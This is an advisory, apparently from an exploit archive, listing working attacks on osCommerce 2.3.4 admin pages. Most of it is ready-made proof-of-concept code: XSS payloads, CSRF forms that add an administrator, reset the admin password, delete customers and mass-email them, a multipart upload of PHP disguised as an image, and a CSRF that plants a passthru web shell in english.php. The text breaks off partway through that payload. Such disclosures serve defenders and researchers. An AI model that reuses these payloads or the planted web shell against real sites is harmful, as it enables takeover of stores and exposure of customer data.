2014-07-11

Description:
Latest osCommerce software suffers on multiple cross site scripting and cross site request forgery vulnerabilities, which even may lead to remote code execution.

#Title: osCommerce 2.3.4 - Multiple vulnerabilities
#Date: 10.07.14
#Affected versions: => 2.3.4 (latest atm)
#Vendor: oscommerce.com
#Tested on: Apache 2.2.22 [at] Debian
#Contact: smash [at] devilteam.pl

#Cross Site Scripting

1. Reflected XSS -> Send Email

Vulnerable parameters - customers_email_address & mail_sent_to

a) POST

Request:
POST /osc/oscommerce-2.3.4/catalog/admin/mail.php?action=preview HTTP/1.1
Host: localhost

customers_email_address=<script>alert(666)</script>&from=fuck@shit.up&subject=test&message=test

Response:
HTTP/1.1 200 OK
(...)
<td class="smallText"><strong>Customer:</strong><br /><script>alert(666)</script></td>
</tr>
(...)

CSRF PoC:
<html>
<body>
<form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/mail.php?action=preview" method="POST">
<input type="hidden" name="customers_email_address" value="<script>alert(666)</script>" />
<input type="hidden" name="from" value="fuck@shit.up" />
<input type="hidden" name="subject" value="test" />
<input type="hidden" name="message" value="test" />
<input type="submit" value="Go" />
</form>
</body>
</html>

b) GET

Request:
GET /osc/oscommerce-2.3.4/catalog/admin/mail.php?mail_sent_to=%3Cscript%3Ealert(666)%3C/script%3E HTTP/1.1
Host: localhost

Response:
(...)
<td class="messageStackSuccess"><img src="images/icons/success.gif" border="0" alt="Success" title="Success" />&nbps;Notice: Email sent to: <script>alert(666)</script></td>
</tr>
(...)

2. Persistent XSS via CSRF -> Newsletter

Request:
POST /osc/oscommerce-2.3.4/catalog/admin/newsletters.php?action=insert HTTP/1.1
Host: localhost

module=newsletter&title=<script>alert(123)</script>&content=<script>alert(456)</script>

CSRF PoC:
<html>
<body>
<form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/newsletters.php?action=insert" method="POST">
<input type="hidden" name="module" value="newsletter" />
<input type="hidden" name="title" value="<script>alert(123)</script>" />
<input type="hidden" name="content" value="<script>alert(456)</script>" />
<input type="submit" value="Go" />
</form>
</body>
</html>

First popbox (123) will be executed whenever someone will visit newsletters page:
localhost/osc/oscommerce-2.3.4/catalog/admin/newsletters.php

(...)
<td class="dataTableContent"><a href="http://localhost/osc/oscommerce-2.3.4/catalog/admin/newsletters.php?page=1&nID=2&action=preview"><img src="images/icons/preview.gif" border="0" alt="Preview" title="Preview" /></a>&nbps;<script>alert(123)</script></td>
(...)
<tr class="infoBoxHeading">
<td class="infoBoxHeading"><strong><script>alert(123)</script></strong></td>
</tr>
(...)

Second one, will be executed whenever someone will visit specific newsletter page:
localhost/osc/oscommerce-2.3.4/catalog/admin/newsletters.php?page=1&nID=1&action=preview

(...)
<tr>
<td><tt><script>alert(456)</script></tt></td>
</tr>
<tr>
(...)

3. Persistent XSS via CSRF -> Banner manager

Vulnerable parameter - banners_title

PoC:
<html>
<body>
<script>
function go()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/osc/oscommerce-2.3.4/catalog/admin/banner_manager.php?action=insert", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------19390593192018454503847724432");
xhr.withCredentials = true;
var body = "-----------------------------19390593192018454503847724432\r\n" +
"Content-Disposition: form-data; name=\"banners_title\"\r\n" +
"\r\n" +
"\x3cscript\x3ealert(666)\x3c/script\x3e\r\n" +
"-----------------------------19390593192018454503847724432\r\n" +
"Content-Disposition: form-data; name=\"banners_url\"\r\n" +
"\r\n" +
"url\r\n" +
"-----------------------------19390593192018454503847724432\r\n" +
"Content-Disposition: form-data; name=\"banners_group\"\r\n" +
"\r\n" +
"footer\r\n" +
"-----------------------------19390593192018454503847724432\r\n" +
"Content-Disposition: form-data; name=\"new_banners_group\"\r\n" +
"\r\n" +
"group\r\n" +
"-----------------------------19390593192018454503847724432\r\n" +
"Content-Disposition: form-data; name=\"banners_image\"; filename=\"info.gif\"\r\n" +
"Content-Type: application/x-php\r\n" +
"\r\n" +
"\x3c?php\n" +
"phpinfo();\n" +
"?\x3e\n" +
"\r\n" +
"-----------------------------19390593192018454503847724432\r\n" +
"Content-Disposition: form-data; name=\"banners_image_local\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------19390593192018454503847724432\r\n" +
"Content-Disposition: form-data; name=\"banners_image_target\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------19390593192018454503847724432\r\n" +
"Content-Disposition: form-data; name=\"banners_html_text\"\r\n" +
"\r\n" +
"sup\r\n" +
"-----------------------------19390593192018454503847724432\r\n" +
"Content-Disposition: form-data; name=\"date_scheduled\"\r\n" +
"\r\n" +
"2014-07-01\r\n" +
"-----------------------------19390593192018454503847724432\r\n" +
"Content-Disposition: form-data; name=\"expires_date\"\r\n" +
"\r\n" +
"2014-07-31\r\n" +
"-----------------------------19390593192018454503847724432\r\n" +
"Content-Disposition: form-data; name=\"expires_impressions\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------19390593192018454503847724432--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Go" onclick="go();" />
</form>
</body>
</html>

JS will be executed whenever someone will visitd banner manager page or specific banner page.

localhost/osc/oscommerce-2.3.4/catalog/admin/banner_manager.php
localhost/osc/oscommerce-2.3.4/catalog/admin/banner_manager.php?page=1&bID=[ID]

Response:
<td class="dataTableContent"><a href="javascript:popupImageWindow('popup_image.php?banner=3')"><img src="images/icon_popup.gif" border="0" alt="View Banner" title="View Banner" /></a>&nbps;<script>alert(666)</script></td>
<td class="dataTableContent" align="right">group</td>

4. Persistent XSS via CSRF -> Locations / Taxes

Countries tab is taken as example, but same vulnerability affects other tabs in 'Locations / Taxes', namely Tax Classes, Tax Rates, Tax Zones and Zones.

PoC:
<html>
<body>
<form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/countries.php?page=1&action=insert" method="POST">
<input type="hidden" name="countries_name" value="AAAA<script>alert(666)</script>" />
<input type="hidden" name="countries_iso_code_2" value="xs" />
<input type="hidden" name="countries_iso_code_3" value="sed" />
<input type="hidden" name="address_format_id" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

JS will be executed whenever someone will visitd 'countries' tab:
localhost/osc/oscommerce-2.3.4/catalog/admin/countries.php

Response:
(...)
<tr id="defaultSelected" class="dataTableRowSelected" onmouseover="rowOverEffect(this)" onmouseout="rowOutEffect(this)" onclick="document.location.href='http://localhost/osc/oscommerce-2.3.4/catalog/admin/countries.php?page=1&cID=241&action=edit'">
<td class="dataTableContent">AAAA<script>alert(666)</script></td>
<td class="dataTableContent" align="center" width="40">xs</td>
<td class="dataTableContent" align="center" width="40">sed</td>
(...)

5. Persistent XSS via CSRF -> Localization

a) Currencies

PoC:
<html>
<body>
<form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/currencies.php?page=1&action=insert" method="POST">
<input type="hidden" name="cs" value="" />
<input type="hidden" name="title" value="<script>alert(666)</script>" />
<input type="hidden" name="code" value="666" />
<input type="hidden" name="symbol_left" value="hm" />
<input type="hidden" name="symbol_right" value="mh" />
<input type="hidden" name="decimal_point" value="10" />
<input type="hidden" name="thousands_point" value="100" />
<input type="hidden" name="decimal_places" value="10000" />
<input type="hidden" name="value" value="666"><script>alert(123)</script>" />
<input type="hidden" name="default" value="on" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

JS will be executed whenever someone will visit currencies tab:
localhost/osc/oscommerce-2.3.4/catalog/admin/currencies.php

Response:
(...)
<tr id="defaultSelected" class="dataTableRowSelected" onmouseover="rowOverEffect(this)" onmouseout="rowOutEffect(this)" onclick="document.location.href='http://localhost/osc/oscommerce-2.3.4/catalog/admin/currencies.php?page=1&cID=3&action=edit'">
<td class="dataTableContent"><strong><script>alert(666)</script> (default)</strong></td>
<td class="dataTableContent">666</td>
<td class="dataTableContent" align="right">666.00000000</td>
(...)

b) Languages

PoC:
<html>
<body>
<form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/languages.php?action=insert" method="POST">
<input type="hidden" name="name" value=""><script>alert(666)</script>" />
<input type="hidden" name="code" value="h3ll" />
<input type="hidden" name="image" value="icon.gif" />
<input type="hidden" name="directory" value="asdf" />
<input type="hidden" name="sort_order" value="asdf" />
<input type="hidden" name="default" value="on" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

JS will be executed whenever someone will visit langauges tab:
localhost/osc/oscommerce-2.3.4/catalog/admin/languages.php

Response:
(...)
<tr id="defaultSelected" class="dataTableRowSelected" onmouseover="rowOverEffect(this)" onmouseout="rowOutEffect(this)" onclick="document.location.href='http://localhost/osc/oscommerce-2.3.4/catalog/admin/languages.php?page=1&lID=2&action=edit'">
<td class="dataTableContent"><script>alert(666)</script></td>
<td class="dataTableContent">66</td>
(...)

c) Orders status

Request:
POST /osc/oscommerce-2.3.4/catalog/admin/orders_status.php?page=1&action=insert HTTP/1.1
Host: localhost

orders_status_name%5B2%5D=%27%3E%22%3E%3C%3EXSS&orders_status_name%5B3%5D=%27%3E%22%3E%3C%3EXSS&orders_status_name%5B4%5D=%27%3E%22%3E%3C%3EXSS&orders_status_name%5B5%5D=%27%3E%22%3E%3C%3EXSS&orders_status_name%5B6%5D=%27%3E%22%3E%3C%3EXSS&orders_status_name%5B7%5D=%27%3E%22%3E%3C%3EXSS&orders_status_name%5B1%5D=%27%3E%22%3E%3C%3EXSS

Response:
(...)
<td class="dataTableContent">'>"><>XSS</td>
(...)
<td class="infoBoxHeading"><strong>'>"><>XSS</strong></td>
(...)
<td class="infoBoxContent"><br /><img src="http://localhost/osc/oscommerce-2.3.4/catalog/includes/languages/asdf/images/icon.gif" border="0" alt="<script>alert(666)</script>" title="<script>alert(666)</script>" />&nbps;'>"><>XSS<br /><img src="http://localhost/osc/oscommerce-2.3.4/catalog/includes/languages/asdf/images/icon.gif" border="0" alt=""><script>alert(666)</script>" title=""><script>alert(666)</script>" />&nbps;'>"><>XSS<br /><img src="http://localhost/osc/oscommerce-2.3.4/catalog/includes/languages/asdf'>"><>XSS/images/icon.gif'>"><>XSS" border="0" alt=""><script>alert(666)</script>" title=""><script>alert(666)</script>" />&nbps;'>"><>XSS<br /><img src="http://localhost/osc/oscommerce-2.3.4/catalog/includes/languages/asdf/images/icon.gif'>"><>XSS" border="0" alt=""><script>alert(666)</script>" title=""><script>alert(666)</script>" />&nbps;'>"><>XSS<br /><img src="http://localhost/osc/oscommerce-2.3.4/catalog/includes/languages/asdf/images/icon.gif" border="0" alt=""><script>alert(666)</script>" title=""><script>alert(666)</script>" />&nbps;'>"><>XSS<br /><img src="http://localhost/osc/oscommerce-2.3.4/catalog/includes/languages/asdf/images/icon.gif'>"><>XSS" border="0" alt=""><script>alert(666)</script>" title=""><script>alert(666)</script>" />&nbps;'>"><>XSS<br /><img src="http://localhost/osc/oscommerce-2.3.4/catalog/includes/languages/english/images/icon.gif" border="0" alt="English" title="English" />&nbps;'>"><>XSS</td>
</tr>

#Boring CSRF

- Remove any item from cart

localhost/osc/oscommerce-2.3.4/catalog/shopping_cart.php?products_id=[ID]&action=remove_product

- Add item to cart

localhost/osc/oscommerce-2.3.4/catalog/product_info.php?products_id=[ID]&action=add_product

- Remove address book entry

localhost/osc/oscommerce-2.3.4/catalog/address_book_process.php?delete=1

- Remove specific country

localhost/osc/oscommerce-2.3.4/catalog/admin/countries.php?page=1&cID=1&action=deleteconfirm

- Remove specific currency

localhost/osc/oscommerce-2.3.4/catalog/admin/currencies.php?page=1&cID=[ID]&action=deleteconfirm

- Change store credentials

I'm to bored to craft another request's, whole 'Configuration' & 'Catalog' panel suffers on CSRF.

localhost/osc/oscommerce-2.3.4/catalog/admin/configuration.php

...and a lot more.

#Less boring CSRF

- Send email as admin -> Send email

It is able to send email to specific user, newsletter subscribers and all of them. In this case, '***' stands for sending mail to all customers.

<html>
<body>
<form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/mail.php?action=send_email_to_user" method="POST">
<input type="hidden" name="customers_email_address" value="***" />
<input type="hidden" name="from" value=""storeowner" <storemail@lol.lo>" />
<input type="hidden" name="subject" value="subject" />
<input type="hidden" name="message" value="sup" />
<input type="submit" value="Go" />
</form>
</body>
</html>

- Delete / Edit specific user

Remove user PoC:
localhost/osc/oscommerce-2.3.4/catalog/admin/customers.php?page=1&cID=1&action=deleteconfirm

Edit user PoC:
<html>
<body>
<form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/customers.php?page=1&cID=1&action=update" method="POST">
<input type="hidden" name="default_address_id" value="1" />
<input type="hidden" name="customers_gender" value="m" />
<input type="hidden" name="customers_firstname" value="juster" />
<input type="hidden" name="customers_lastname" value="testing" />
<input type="hidden" name="customers_dob" value="07/13/2004" />
<input type="hidden" name="customers_email_address" value="szit@szit.szit" />
<input type="hidden" name="entry_company" value="asdf" />
<input type="hidden" name="entry_street_address" value="asdfasdf" />
<input type="hidden" name="entry_suburb" value="asdfsdff" />
<input type="hidden" name="entry_postcode" value="66-666" />
<input type="hidden" name="entry_city" value="asdfasdf" />
<input type="hidden" name="entry_state" value="asdfasdfasdf" />
<input type="hidden" name="entry_country_id" value="5" />
<input type="hidden" name="customers_telephone" value="123456792" />
<input type="hidden" name="customers_fax" value="" />
<input type="hidden" name="customers_newsletter" value="1" />
<input type="submit" value="Go" />
</form>
</body>
</html>

- Add / Edit / Delete admin

Add admin account:
<html>
<body>
<form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/administrators.php?action=insert" method="POST">
<input type="hidden" name="username" value="haxor" />
<input type="hidden" name="password" value="pwned" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Change admin (set new password):
<html>
<body>
<form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/administrators.php?aID=1&action=save" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="password" value="newpass" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Remove admin:
localhost/osc/oscommerce-2.3.4/catalog/admin/administrators.php?aID=2&action=deleteconfirm

- RCE via CSRF -> Define Languages

It is able to change content of specific file in 'define languages' tab, we're gonna use default english language, and so default files path. File MUST be writable. Value stands for english.php default content; as you can notice, passthru function is being included.

localhost/osc/oscommerce-2.3.4/catalog/includes/languages/english.php?cmd=uname -a

PoC:
<html>
<body>
<form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/define_language.php?lngdir=english&filename=english.php&action=save" method="POST">
<input type="hidden" name="file_contents" value="<?php
/*
$Id$

osCommerce, Open Source E-Commerce Solutions
http://www.oscommerce.com

Copyright (c) 2013 osCommerce

Released under the GNU General Public License
*/

// look in your $PATH_LOCALE/locale directory for available locales
// or type locale -a on the server.
// Examples:
// on RedHat try &apos;en_US&apos;
// on FreeBSD try &apos;en_US.ISO_8859-1&apos;
// on Windows try &apos;en&apos;, or &apos;English&apos;
@setlocale(LC_ALL, array(&apos;en_US.UTF-8&apos;, &apos;en_US.UTF8&apos;, &apos;enu_usa&apos;));

define(&apos;DATE_FORMAT_SHORT&apos;, &apos;%m/%d/%Y&apos;); // this is used for strftime()
define(&apos;DATE_FORMAT_LONG&apos;, &apos;%A %d %B, %Y&apos;); // this is used for strftime()
define(&apos;DATE_FORMAT&apos;, &apos;m/d/Y&apos;); // this is used for date()
define(&apos;DATE_TIME_FORMAT&apos;, DATE_FORMAT_SHORT . &apos; %H:%M:%S&apos;);
define(&apos;JQUERY_DATEPICKER_I18N_CODE&apos;, &apos;&apos;); // leave empty for en_US; see http://jqueryui.com/demos/datepicker/#localization
define(&apos;JQUERY_DATEPICKER_FORMAT&apos;, &apos;mm/dd/yy&apos;); // see http://docs.jquery.com/UI/Datepicker/formatDate

@passthru($_GET[&apos;cmd&apos;]);

////
// Return date in raw format
// $date should be in format mm/dd/yyyy
// raw date is in format YYYYMMDD, or DDMMYYYY
function tep_date_raw($date, $reverse = false) {
if ($reverse) {
return substr($date, 3, 2) . substr($date, 0, 2) . substr($date, 6, 4);
} else {
return substr($date, 6, 4) . substr($date, 0, 2) . substr($date, 3, 2);
}
}

// if USE_DEFAULT_LANGUAGE_CURRENCY is true, use the following currency, instead of the applications default currency (used when changing language)
define(&apos;LANGUAGE_CURRENCY&apos;, &apos;USD&apos;);

// Global entries for the <html> tag
define(&apos;HTML_PARAMS&apos;, &apos;dir="ltr" lang="en"&apos;);

// charset for web pages and emails
define(&apos;CHARSET&apos;, &apos;utf-8&apos;);

// page title
define(&apos;TITLE&apos;, STORE_NAME);

// header text in includes/header.php
define(&apos;HEADER_TITLE_CREATE_ACCOUNT&apos;, &apos;Create an Account&apos;);
define(&apos;HEADER_TITLE_MY_ACCOUNT&apos;, &apos;My Account&apos;);
define(&apos;HEADER_TITLE_CART_CONTENTS&apos;, &apos;Cart Contents&apos;);
define(&apos;HEADER_TITLE_CHECKOUT&apos;, &apos;Checkout&apos;);
define(&apos;HEADER_TITLE_TOP&apos;, &apos;Top&apos;);
define(&apos;HEADER_TITLE_CATALOG&apos;, &apos;Catalog&apos;);
define(&apos;HEADER_TITLE_LOGOFF&apos;, &apos;Log Off&apos;);
define(&apos;HEADER_TITLE_LOGIN&apos;, &apos;Log In&apos;);

// footer text in includes/footer.php
define(&apos;FOOTER_TEXT_REQUESTS_SINCE&apos;, &apos;requests since&apos;);

// text for gender
define(&apos;MALE&apos;, &apos;Male&apos;);
define(&apos;FEMALE&apos;, &apos;Female&apos;);
define(&apos;MALE_ADDRESS&apos;, &apos;Mr.&apos;);
define(&apos;FEMALE_ADDRESS&apos;, &apos;Ms.&apos;);

// text for date of birth example
define(&apos;DOB_FORMAT_STRING&apos;, &apos;mm/dd/yyyy&apos;);

// checkout procedure text
define(&apos;CHECKOUT_BAR_DELIVERY&apos;, &apos;Delivery Information&apos;);
define(&apos;CHECKOUT_BAR_PAYMENT&apos;, &apos;Payment Information&apos;);
define(&apos;CHECKOUT_BAR_CONFIRMATION&apos;, &apos;Confirmation&apos;);
define(&apos;CHECKOUT_BAR_FINISHED&apos;, &apos;Finished!&apos;);

// pull down default text
define(&apos;PULL_DOWN_DEFAULT&apos;, &apos;Please Select&apos;);
define(&apos;TYPE_BELOW&apos;, &apos;Type Below&apos;);

// javascript messages
define(&apos;JS_ERROR&apos;, &apos;Errors have occured during the process of your form.\n\nPlease make the following corrections:\n\n&apos;);

define(&apos;JS_REVIEW_TEXT&apos;, &apos;* The \&apos;Review Text\&apos; must have at least &apos; . REVIEW_TEXT_MIN_LENGTH . &apos; characters.\n&apos;);
define(&apos;JS_REVIEW_RATING&apos;, &apos;* You must rate the product for your review.\n&apos;);

define(&apos;JS_ERROR_NO_PAYMENT_MODULE_SELECTED&apos;, &apos;* Please select a payment method for your order.\n&apos;);

define(&apos;JS_ERROR_SUBMITTED&apos;, &apos;This form has already been submitted. Please press Ok and wait for this process to be completed.&apos;);

define(&apos;ERROR_NO_PAYMENT_MODULE_SELECTED&apos;, &apos;Please select a payment method for your order.&apos;);

define(&apos;CATEGORY_COMPANY&apos;, &apos;Company Details&apos;);
define(&apos;CATEGORY_PERSONAL&apos;, &apos;Your Personal Details&apos;);
define(&apos;CATEGORY_ADDRESS&apos;, &apos;Your Address&apos;);
define(&apos;CATEGORY_CONTACT&apos;, &apos;Your Contact Information&apos;);
define(&apos;CATEGORY_OPTIONS&apos;, &apos;Options&apos;);
define(&apos;CATEGORY_PASSWORD&apos;, &apos;Your Password&apos;);

define(&apos;ENTRY_COMPANY&apos;, &apos;Company Name:&apos;);
define(&apos;ENTRY_COMPANY_TEXT&apos;, &apos;&apos;);
define(&apos;ENTRY_GENDER&apos;, &apos;Gender:&apos;);
define(&apos;ENTRY_GENDER_ERROR&apos;, &apos;Please select your Gender.&apos;);
define(&apos;ENTRY_GENDER_TEXT&apos;, &apos;*&apos;);
define(&apos;ENTRY_FIRST_NAME&apos;, &apos;First Name:&apos;);
define(&apos;ENTRY_FIRST_NAME_ERROR&apos;, &apos;Your First Name must contain a minimum of &apos; . ENTRY_FIRST_NAME_MIN_LENGTH . &apos; characters.&apos;);
define(&apos;ENTRY_FIRST_NAME_TEXT&apos;, &apos;*&apos;);
define(&apos;ENTRY_LAST_NAME&apos;, &apos;Last Name:&apos;);
define(&apos;ENTRY_LAST_NAME_ERROR&apos;, &apos;Your Last Name must contain a minimum of &apos; . ENTRY_LAST_NAME_MIN_LENGTH . &apos; characters.&apos;);
define(&apos;ENTRY_LAST_NAME_TEXT&apos;, &apos;*&apos;);
define(&apos;ENTRY_DATE_OF_BIRTH&apos;, &apos;Date of Birth:&apos;);
define(&apos;ENTRY_DATE_OF_BIRTH_ERROR&apos;, &apos;Your Date of Birth must be in this format: MM/DD/YYYY (eg 05/21/1970)&apos;);
define(&apos;ENTRY_DATE_OF_BIRTH_TEXT&apos;, &apos;* (eg. 05/21/1970)&apos;);
define(&apos;ENTRY_EMAIL_ADDRESS&apos;, &apos;E-Mail Address:&apos;);
define(&apos;ENTRY_EMAIL_ADDRESS_ERROR&apos;, &apos;Your E-Mail Address must contain a minimum of &apos; . ENTRY_EMAIL_ADDRESS_MIN_LENGTH . &apos; characters.&apos;);
define(&apos;ENTRY_EMAIL_ADDRESS_CHECK_ERROR&apos;, &apos;Your E-Mail Address does not appear to be valid - please make any necessary corrections.&apos;);
define(&apos;ENTRY_EMAIL_ADDRESS_ERROR_EXISTS&apos;, &apos;Your E-Mail Address already exists in our records - please log in with the e-mail address or create an account with a different address.&apos;);
define(&apos;ENTRY_EMAIL_ADDRESS_TEXT&apos;, &apos;*&apos;);
define(&apos;ENTRY_STREET_ADDRESS&apos;, &apos;Street Address:&apos;);
define(&apos;ENTRY_STREET_ADDRESS_ERROR&apos;, &apos;Your Street Address must contain a minimum of &apos; . ENTRY_STREET_ADDRESS_MIN_LENGTH . &apos; characters.&apos;);
define(&apos;ENTRY_STREET_ADDRESS_TEXT&apos;, &apos;*&apos;);
define(&apos;ENTRY_SUBURB&apos;, &apos;Suburb:&apos;);
define(&apos;ENTRY_SUBURB_TEXT&apos;, &apos;&apos;);
define(&apos;ENTRY_POST_CODE&apos;, &apos;Post Code:&apos;);
define(&apos;ENTRY_POST_CODE_ERROR&apos;, &apos;Your Post Code must contain a minimum of &apos; . ENTRY_POSTCODE_MIN_LENGTH . &apos; characters.&apos;);
define(&apos;ENTRY_POST_CODE_TEXT&apos;, &apos;*&apos;);
define(&apos;ENTRY_CITY&apos;, &apos;City:&apos;);
define(&apos;ENTRY_CITY_ERROR&apos;, &apos;Your City must contain a minimum of &apos; . ENTRY_CITY_MIN_LENGTH . &apos; characters.&apos;);
define(&apos;ENTRY_CITY_TEXT&apos;, &apos;*&apos;);
define(&apos;ENTRY_STATE&apos;, &apos;State/Province:&apos;);
define(&apos;ENTRY_STATE_ERROR&apos;, &apos;Your State must contain a minimum of &apos; . ENTRY_STATE_MIN_LENGTH . &apos; characters.&apos;);
define(&apos;ENTRY_STATE_ERROR_SELECT&apos;, &apos;Please select a state from the States pull down menu.&apos;);
define(&apos;ENTRY_STATE_TEXT&apos;, &apos;*&apos;);
define(&apos;ENTRY_COUNTRY&apos;, &apos;Country:&apos;);
define(&apos;ENTRY_COUNTRY_ERROR&apos;, &apos;You must select a country from the Countries pull down menu.&apos;);
define(&apos;ENTRY_COUNTRY_TEXT&apos;, &apos;*&apos;);
define(&apos;ENTRY_TELEPHONE_NUMBER&apos;, &apos;Telephone Number:&apos;);
define(&apos;ENTRY_TELEPHONE_NUMBER_ERROR&apos;, &apos;Your Telephone Number must contain a minimum of &apos; . ENTRY_TELEPHONE_MIN_LENGTH . &apos; characters.&apos;);
define(&apos;ENTRY_TELEPHONE_NUMBER_TEXT&apos;, &apos;*&apos;);
define(&apos;ENTRY_FAX_NUMBER&apos;, &apos;Fax Number:&apos;);
define(&apos;ENTRY_FAX_NUMBER_TEXT&apos;, &apos;&apos;);
define(&apos;ENTRY_NEWSLETTER&apos;, &apos;Newsletter:&apos;);
define(&apos;ENTRY_NEWSLETTER_TEXT&apos;, &apos;&apos;);
define(&apos;ENTRY_NEWSLETTER_YES&apos;, &apos;Subscribed&apos;);
define(&apos;ENTRY_NEWSLETTER_NO&apos;, &apos;Unsubscribed&apos;);
define(&apos;ENTRY_PASSWORD&apos;, &apos;Password:&apos;);
define(&apos;ENTRY_PASSWORD_ERROR&apos;, &apos;Your Password must contain a minimum of &apos; . ENTRY_PASSWORD_MIN_LENGTH . &apos; characters.&apos;);
define(&apos;ENTRY_PASSWORD_ERROR_NOT_MATCHING&apos;, &apos;The Password Confirmation must match your Password.&apos;);
define(&apos;ENTRY_PASSWORD_TEXT&apos;, &apos;*&apos;);
define(&apos;ENTRY_PASSWORD_CONFIRMATION&apos;, &apos;Password Confirmation:&apos;);
define(&apos;ENTRY_PASSWORD_CONFIRMATION_TEXT&apos;, &apos;*&apos;);
define(&apos;ENTRY_PASSWORD_CURRENT&apos;, &apos;Current Password:&apos;);
define(&apos;ENTRY_PASSWORD_CURRENT_TEXT&apos;, &apos;*&apos;);
define(&apos;ENTRY_PASSWORD_CURRENT_ERROR&apos;, &apos;Your Password must contain a minimum of &apos; . ENTRY_PASSWORD_MIN_LENGTH . &apos; characters.&apos;);
define(&apos;ENTRY_PASSWORD_NEW&apos;, &apos;New Password:&apos;);
define(&apos;ENTRY_PASSWORD_NEW_TEXT&apos;, &apos;*&apos;);
define(&apos;ENTRY_PASSWORD_NEW_ERROR&apos;, &apos;Your new Password must contain a minimum of &apos; . ENTRY_PASSWORD_MIN_LENGTH . &apos; characters.&apos;);
define(&apos;ENTRY_PASSWORD_NEW_ERROR_NOT_MATCHING&apos;, &apos;The Password Confirmation must match your new Password.&apos;);
define(&apos;PASSWORD_HIDDEN&apos;, &apos;--HIDDEN--&apos;);

define(&apos;FORM_REQUIRED_INFORMATION&apos;, &apos;* Required information&apos;);

// constants for use in tep_prev_next_display function
define(&apos;TEXT_RESULT_PAGE&apos;, &apos;Result Pages:&apos;);
define(&apos;TEXT_DISPLAY_NUMBER_OF_PRODUCTS&apos;, &apos;Displaying <strong>%d</strong> to <strong>%d</strong> (of <strong>%d</strong> products)&apos;);
define(&apos;TEXT_DISPLAY_NUMBER_OF_ORDERS&apos;, &apos;Displaying <strong>%d</strong> to <strong>%d</strong> (of <strong>%d</strong> orders)&apos;);
define(&apos;TEXT_DISPLAY_NUMBER_OF_REVIEWS&apos;, &apos;Displaying <strong>%d</strong> to <strong>%d</strong> (of <strong>%d</strong> reviews)&apos;);
define(&apos;TEXT_DISPLAY_NUMBER_OF_PRODUCTS_NEW&apos;, &apos;Displaying <strong>%d</strong> to <strong>%d</strong> (of <strong>%d</strong> new products)&apos;);
define(&apos;TEXT_DISPLAY_NUMBER_OF_SPECIALS&apos;, &apos;Displaying <strong>%d</strong> to <strong>%d</strong> (of <strong>%d</strong> specials)&apos;);

define(&apos;PREVNEXT_TITLE_FIRST_PAGE&apos;, &apos;First Page&apos;);
define(&apos;PREVNEXT_TITLE_PREVIOUS_PAGE&apos;, &apos;Previous Page&apos;);
define(&apos;PREVNEXT_TITLE_NEXT_PAGE&apos;, &apos;Next Page&apos;);
define(&apos;PREVNEXT_TITLE_LAST_PAGE&apos;, &apos;Last Page&apos;);
define(&apos;PREVNEXT_TITLE_PAGE_NO&apos;, &apos;Page %d&apos;);
define(&apos;PREVNEXT_TITLE_PREV_SET_OF_NO_PAGE&apos;, &apos;Previous Set of %d Pages&apos;);
define(&apos;PREVNEXT_TITLE_NEXT_SET_OF_NO_PAGE&apos;, &apos;Next Set of %d Pages&apos;);
define(&apos;PREVNEXT_BUTTON_FIRST&apos;, &apos;&lt;&lt;FIRST&apos;);
define(&apos;PREVNEXT_BUTTON_PREV&apos;, &apos;[&lt;&lt;&nbsp;Prev]&apos;);
define(&apos;PREVNEXT_BUTTON_NEXT&apos;, &apos;[Next&nbsp;&gt;&gt;]&apos;);
define(&apos;PREVNEXT_BUTTON_LAST&apos;, &apos;LAST&gt;&gt;&apos;);

define(&apos;IMAGE_BUTTON_ADD_ADDRESS&apos;, &apos;Add Address&apos;);
define(&apos;IMAGE_BUTTON_ADDRESS_BOOK&apos;, &apos;Address Book&apos;);
define(&apos;IMAGE_BUTTON_BACK&apos;, &apos;Back&apos;);
define(&apos;IMAGE_BUTTON_BUY_NOW&apos;, &apos;Buy Now&apos;);
define(&apos;IMAGE_BUTTON_CHANGE_ADDRESS&apos;, &apos;Change Address&apos;);
define(&apos;IMAGE_BUTTON_CHECKOUT&apos;, &apos;Checkout&apos;);
define(&apos;IMAGE_BUTTON_CONFIRM_ORDER&apos;, &apos;Confirm Order&apos;);
define(&apos;IMAGE_BUTTON_CONTINUE&apos;, &apos;Continue&apos;);
define(&apos;IMAGE_BUTTON_CONTINUE_SHOPPING&apos;, &apos;Continue Shopping&apos;);
define(&apos;IMAGE_BUTTON_DELETE&apos;, &apos;Delete&apos;);
define(&apos;IMAGE_BUTTON_EDIT_ACCOUNT&apos;, &apos;Edit Account&apos;);
define(&apos;IMAGE_BUTTON_HISTORY&apos;, &apos;Order History&apos;);
define(&apos;IMAGE_BUTTON_LOGIN&apos;, &apos;Sign In&apos;);
define(&apos;IMAGE_BUTTON_IN_CART&apos;, &apos;Add to Cart&apos;);
define(&apos;IMAGE_BUTTON_NOTIFICATIONS&apos;, &apos;Notifications&apos;);
define(&apos;IMAGE_BUTTON_QUICK_FIND&apos;, &apos;Quick Find&apos;);
define(&apos;IMAGE_BUTTON_REMOVE_NOTIFICATIONS&apos;, &apos;Remove Notifications&apos;);
